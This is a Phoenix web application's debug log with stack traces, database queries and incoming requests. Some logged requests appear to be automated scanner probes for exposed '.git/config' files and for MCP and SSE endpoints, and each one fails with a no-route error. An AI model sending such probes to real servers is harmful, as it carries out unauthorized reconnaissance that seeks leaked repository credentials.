    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 07:28:56.270000 2026] [Plug.Debugger:debug] [pid 2816631] [client 35.228.185.75:44892] ** (Phoenix.Router.NoRouteError) no route found for GET /backend/.git/config (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 07:28:56.278000 2026] [Phoenix.Logger:info] [pid 2816631] [client 35.228.185.75:44910] GET /site/.git/config
[Sat Sep  5 07:28:56.279000 2026] [Phoenix.Logger:info] [pid 2816631] [client 35.228.185.75:44906] GET /html/.git/config
[Sat Sep  5 07:28:56.302000 2026] [Plug.Debugger:debug] [pid 2816631] [client 35.228.185.75:44910] ** (Phoenix.Router.NoRouteError) no route found for GET /site/.git/config (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 07:28:56.305000 2026] [Plug.Debugger:debug] [pid 2816631] [client 35.228.185.75:44906] ** (Phoenix.Router.NoRouteError) no route found for GET /html/.git/config (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 07:30:00.631000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.4ms idle=1050.4ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-05 07:30:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Sat Sep  5 07:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1110.9ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 07:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.4ms idle=1090.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 07:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1068.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 08:02:37.226000 2026] [Phoenix.Logger:info] [pid 2816631] [client 85.217.149.59:50636] GET /
[Sat Sep  5 08:02:37.226000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 85.217.149.59:50636] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Sat Sep  5 08:02:37.227000 2026] [Phoenix.Logger:info] [pid 2816631] [client 85.217.149.59:50636] Sent 200 in 1ms
[Sat Sep  5 08:04:48.032000 2026] [Phoenix.Logger:info] [pid 2816631] [client 69.5.169.97:13998] GET /
[Sat Sep  5 08:04:48.032000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 69.5.169.97:13998] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Sat Sep  5 08:04:48.033000 2026] [Phoenix.Logger:info] [pid 2816631] [client 69.5.169.97:13998] Sent 200 in 1ms
[Sat Sep  5 08:04:48.336000 2026] [Phoenix.Logger:info] [pid 2816631] [client 69.5.169.29:13540] GET /
[Sat Sep  5 08:04:48.336000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 69.5.169.29:13540] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Sat Sep  5 08:04:48.348000 2026] [Phoenix.Logger:info] [pid 2816631] [client 69.5.169.29:13540] Sent 406 in 12ms
[Sat Sep  5 08:04:48.350000 2026] [Plug.Debugger:debug] [pid 2816631] [client 69.5.169.29:13540] ** (Phoenix.NotAcceptableError) no supported media type in accept header.

Expected one of ["html"] but got the following formats:

  * "application/json" with extensions: ["json"]

To accept custom formats, register them under the :mime library
in your config/config.exs file:

    config :mime, :types, %{
      "application/xml" => ["xml"]
    }

And then run `mix deps.clean --build mime` to force it to be recompiled.

    (phoenix 1.7.19) lib/phoenix/controller.ex:1606: Phoenix.Controller.refuse/3
    (da_product_app 0.1.0) DaProductAppWeb.Router.browser/2
    (da_product_app 0.1.0) lib/da_product_app_web/router.ex:1: DaProductAppWeb.Router.__pipe_through0__/1
    (phoenix 1.7.19) lib/phoenix/router.ex:475: Phoenix.Router.__call__/5
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 08:04:48.407000 2026] [Phoenix.Logger:info] [pid 2816631] [client 69.5.169.123:4436] GET /mcp
[Sat Sep  5 08:04:48.415000 2026] [Plug.Debugger:debug] [pid 2816631] [client 69.5.169.123:4436] ** (Phoenix.Router.NoRouteError) no route found for GET /mcp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 08:04:48.449000 2026] [Phoenix.Logger:info] [pid 2816631] [client 69.5.169.49:2912] GET /api/mcp
[Sat Sep  5 08:04:48.450000 2026] [Phoenix.Logger:info] [pid 2816631] [client 69.5.169.121:15256] GET /mcp/
[Sat Sep  5 08:04:48.462000 2026] [Plug.Debugger:debug] [pid 2816631] [client 69.5.169.49:2912] ** (Phoenix.Router.NoRouteError) no route found for GET /api/mcp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 08:04:48.464000 2026] [Plug.Debugger:debug] [pid 2816631] [client 69.5.169.121:15256] ** (Phoenix.Router.NoRouteError) no route found for GET /mcp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 08:04:48.729000 2026] [Phoenix.Logger:info] [pid 2816631] [client 69.5.169.76:8414] GET /sse
[Sat Sep  5 08:04:48.741000 2026] [Plug.Debugger:debug] [pid 2816631] [client 69.5.169.76:8414] ** (Phoenix.Router.NoRouteError) no route found for GET /sse (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 08:05:32.569000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 08:05:32.592000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Sat Sep  5 08:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1050.2ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 08:06:38.344000 2026] [Bandit.Logger:error] [pid 2816631] [client -] ** (Bandit.TransportError) Unrecoverable error: timeout
[Sat Sep  5 08:07:28.364000 2026] [Bandit.Logger:error] [pid 2816631] [client -] ** (Bandit.TransportError) Unrecoverable error: timeout
[Sat Sep  5 08:13:27.823000 2026] [Phoenix.Logger:info] [pid 2816631] [client 69.5.169.162:9374] GET /
[Sat Sep  5 08:13:27.825000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 69.5.169.162:9374] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Sat Sep  5 08:13:27.826000 2026] [Phoenix.Logger:info] [pid 2816631] [client 69.5.169.162:9374] Sent 200 in 2ms
[Sat Sep  5 08:13:28.157000 2026] [Phoenix.Logger:info] [pid 2816631] [client 69.5.169.138:13800] GET /mcp/
[Sat Sep  5 08:13:28.165000 2026] [Plug.Debugger:debug] [pid 2816631] [client 69.5.169.138:13800] ** (Phoenix.Router.NoRouteError) no route found for GET /mcp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 08:13:28.201000 2026] [Phoenix.Logger:info] [pid 2816631] [client 69.5.169.166:8480] GET /mcp
[Sat Sep  5 08:13:28.201000 2026] [Phoenix.Logger:info] [pid 2816631] [client 69.5.169.244:15332] GET /api/mcp
[Sat Sep  5 08:13:28.203000 2026] [Phoenix.Logger:info] [pid 2816631] [client 69.5.169.201:8464] GET /
[Sat Sep  5 08:13:28.204000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 69.5.169.201:8464] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Sat Sep  5 08:13:28.220000 2026] [Plug.Debugger:debug] [pid 2816631] [client 69.5.169.166:8480] ** (Phoenix.Router.NoRouteError) no route found for GET /mcp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 08:13:28.222000 2026] [Plug.Debugger:debug] [pid 2816631] [client 69.5.169.244:15332] ** (Phoenix.Router.NoRouteError) no route found for GET /api/mcp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 08:13:28.229000 2026] [Phoenix.Logger:info] [pid 2816631] [client 69.5.169.201:8464] Sent 406 in 25ms
[Sat Sep  5 08:13:28.231000 2026] [Plug.Debugger:debug] [pid 2816631] [client 69.5.169.201:8464] ** (Phoenix.NotAcceptableError) no supported media type in accept header.

Expected one of ["html"] but got the following formats:

  * "application/json" with extensions: ["json"]

To accept custom formats, register them under the :mime library
in your config/config.exs file:

    config :mime, :types, %{
      "application/xml" => ["xml"]
    }

And then run `mix deps.clean --build mime` to force it to be recompiled.

    (phoenix 1.7.19) lib/phoenix/controller.ex:1606: Phoenix.Controller.refuse/3
    (da_product_app 0.1.0) DaProductAppWeb.Router.browser/2
    (da_product_app 0.1.0) lib/da_product_app_web/router.ex:1: DaProductAppWeb.Router.__pipe_through0__/1
    (phoenix 1.7.19) lib/phoenix/router.ex:475: Phoenix.Router.__call__/5
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 08:13:28.531000 2026] [Phoenix.Logger:info] [pid 2816631] [client 69.5.169.155:7586] GET /sse
[Sat Sep  5 08:13:28.538000 2026] [Plug.Debugger:debug] [pid 2816631] [client 69.5.169.155:7586] ** (Phoenix.Router.NoRouteError) no route found for GET /sse (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

